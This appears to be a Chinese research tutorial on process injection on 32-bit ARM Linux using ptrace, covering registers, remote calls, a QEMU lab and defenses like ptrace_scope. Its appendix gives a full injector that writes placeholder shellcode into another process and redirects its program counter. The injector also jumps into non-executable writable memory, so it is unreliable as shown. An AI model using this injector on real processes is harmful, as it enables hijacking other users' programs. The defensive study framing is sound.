基于armv7l架构的进程注入研究——使用ptrace注入shellcode
字数 1333 2025-08-22 12:22:30
ARMv7l架构进程注入技术研究与实践
一、ARM架构与ptrace基础
1.1 ARM架构概述
ARMv7l是32位ARM架构,具有以下特点:
- 小端字节序
- 支持ARM和Thumb两种指令集
- 寄存器结构不同于x86架构
- 系统调用通过SWI(Software Interrupt)指令实现
1.2 ptrace系统调用
ptrace是Linux下的进程调试系统调用,原型为:
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
重要参数说明:
request:指定操作类型pid:目标进程IDaddr:内存地址或寄存器编号data:传递数据或接收结果
二、ptrace关键操作
2.1 常用ptrace请求
| 请求类型 | 功能描述 |
|---|---|
| PTRACE_ATTACH | 附加到目标进程 |
| PTRACE_DETACH | 从目标进程分离 |
| PTRACE_GETREGS | 获取寄存器状态 |
| PTRACE_SETREGS | 设置寄存器状态 |
| PTRACE_CONT | 继续执行目标进程 |
| PTRACE_PEEKTEXT | 读取目标进程内存 |
| PTRACE_POKETEXT | 写入目标进程内存 |
2.2 ARM寄存器结构
ARMv7架构使用pt_regs结构体:
struct pt_regs {
long uregs[18];
};
关键寄存器定义:
ARM_r0-ARM_r12:通用寄存器ARM_sp(R13):栈指针ARM_lr(R14):链接寄存器(返回地址)ARM_pc(R15):程序计数器ARM_cpsr:程序状态寄存器
三、进程注入技术实现
3.1 注入流程概述
- 附加到目标进程
- 保存寄存器环境
- 分配内存空间
- 写入shellcode或模块信息
- 加载并执行注入代码
- 恢复寄存器环境
- 从目标进程分离
3.2 关键实现步骤
3.2.1 进程附加与寄存器保存
// 附加到目标进程
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, &status, WUNTRACED);
// 保存寄存器状态
struct pt_regs regs;
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
3.2.2 内存操作
// 读取内存
long data = ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);
// 写入内存
ptrace(PTRACE_POKETEXT, pid, addr, data);
3.2.3 远程函数调用
ARM架构函数调用约定:
- 前4个参数通过R0-R3传递
- 剩余参数从右到左压栈
- 返回值存储在R0寄存器
// 设置函数参数
for (i = 0; i < num_params && i < 4; i++) {
regs->uregs[i] = parameters[i];
}
// 处理额外参数
if (i < num_params) {
regs->ARM_sp -= (num_params - i) * sizeof(long);
ptrace_writedata(pid, (void*)regs->ARM_sp,
(uint8_t*)parameters[i],
(num_params - i) * sizeof(long));
}
// 设置PC寄存器并执行
if (regs->ARM_pc & 1) { // Thumb模式
regs->ARM_pc &= (~1u);
regs->ARM_cpsr |= CPSR_T_MASK;
} else { // ARM模式
regs->ARM_cpsr &= ~CPSR_T_MASK;
}
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
ptrace(PTRACE_CONT, pid, NULL, NULL);
3.2.4 常用远程调用函数
mmap- 分配内存空间dlopen- 加载动态库dlsym- 获取函数地址dlclose- 关闭动态库
四、实验环境搭建
4.1 环境配置步骤
- 安装Ubuntu 18.04虚拟机
- 下载并编译Buildroot
- 安装QEMU模拟器
- 配置网络桥接
4.2 交叉编译工具链
安装ARM交叉编译工具:
sudo apt install gcc-arm-linux-gnueabihf
sudo apt install linux-libc-dev-armhf-cross
编译命令示例:
arm-linux-gnueabihf-gcc -static test.c -o test -I/usr/arm-linux-gnueabihf/include
五、防御策略
5.1 限制ptrace权限
- 启用
ptrace_scope:echo 1 > /proc/sys/kernel/yama/ptrace_scope - 避免运行具有调试权限的应用
5.2 强化防护机制
- 部署SELinux/AppArmor
- 启用ASLR(地址空间布局随机化)
- 使用内存保护机制
5.3 行为监控
- 监控异常
ptrace调用 - 检测频繁的内存修改操作
- 审计进程间非常规交互
六、附录
6.1 示例代码
目标进程(victim.c)
#include <stdio.h>
#include <unistd.h>
int main() {
while(1) {
printf("running\n");
sleep(1);
}
return 0;
}
注入工具(inject.c)
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <asm/ptrace.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
long freespaceaddr(pid_t pid) {
FILE *fp;
char filename[30];
char line[256];
long addr = 0;
sprintf(filename, "/proc/%d/maps", pid);
fp = fopen(filename, "r");
if(fp == NULL) exit(1);
while(fgets(line, sizeof(line), fp) != NULL) {
if(strstr(line, "rw-p") != NULL) {
sscanf(line, "%lx-%*lx", &addr);
break;
}
}
fclose(fp);
return addr;
}
int main(int argc, char *argv[]) {
if(argc != 2) {
printf("Usage: %s <pid>\n", argv[0]);
exit(1);
}
pid_t traced_process = atoi(argv[1]);
struct pt_regs regs;
long addr;
char shellcode[] = "\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x00"
"\x61\x61\x61\x61\x61\x61\x61\x61";
int len = sizeof(shellcode);
// 附加到目标进程
if(ptrace(PTRACE_ATTACH, traced_process, NULL, NULL) == -1) {
printf("PTRACE_ATTACH error");
exit(1);
}
wait(NULL);
// 获取寄存器状态
if(ptrace(PTRACE_GETREGS, traced_process, NULL, ®s) == -1) {
perror("PTRACE_GETREGS failed");
exit(1);
}
// 查找可写内存区域
addr = freespaceaddr(traced_process);
if(addr == 0) exit(1);
// 注入shellcode
long *ptr = (long *)shellcode;
for(int i = 0; i < len; i += sizeof(long)) {
ptrace(PTRACE_POKEDATA, traced_process, addr + i, *ptr);
ptr++;
}
// 劫持程序流
regs.ARM_pc = addr;
if(ptrace(PTRACE_SETREGS, traced_process, NULL, ®s) == -1) {
printf("PTRACE_SETREGS failed");
exit(1);
}
// 分离
if(ptrace(PTRACE_DETACH, traced_process, NULL, NULL) == -1) {
printf("PTRACE_DETACH failed");
exit(1);
}
return 0;
}
6.2 参考资料
- ARM架构官方文档
- Linux内核源码
ptrace.c asm/ptrace.h头文件- Buildroot官方文档
- QEMU使用手册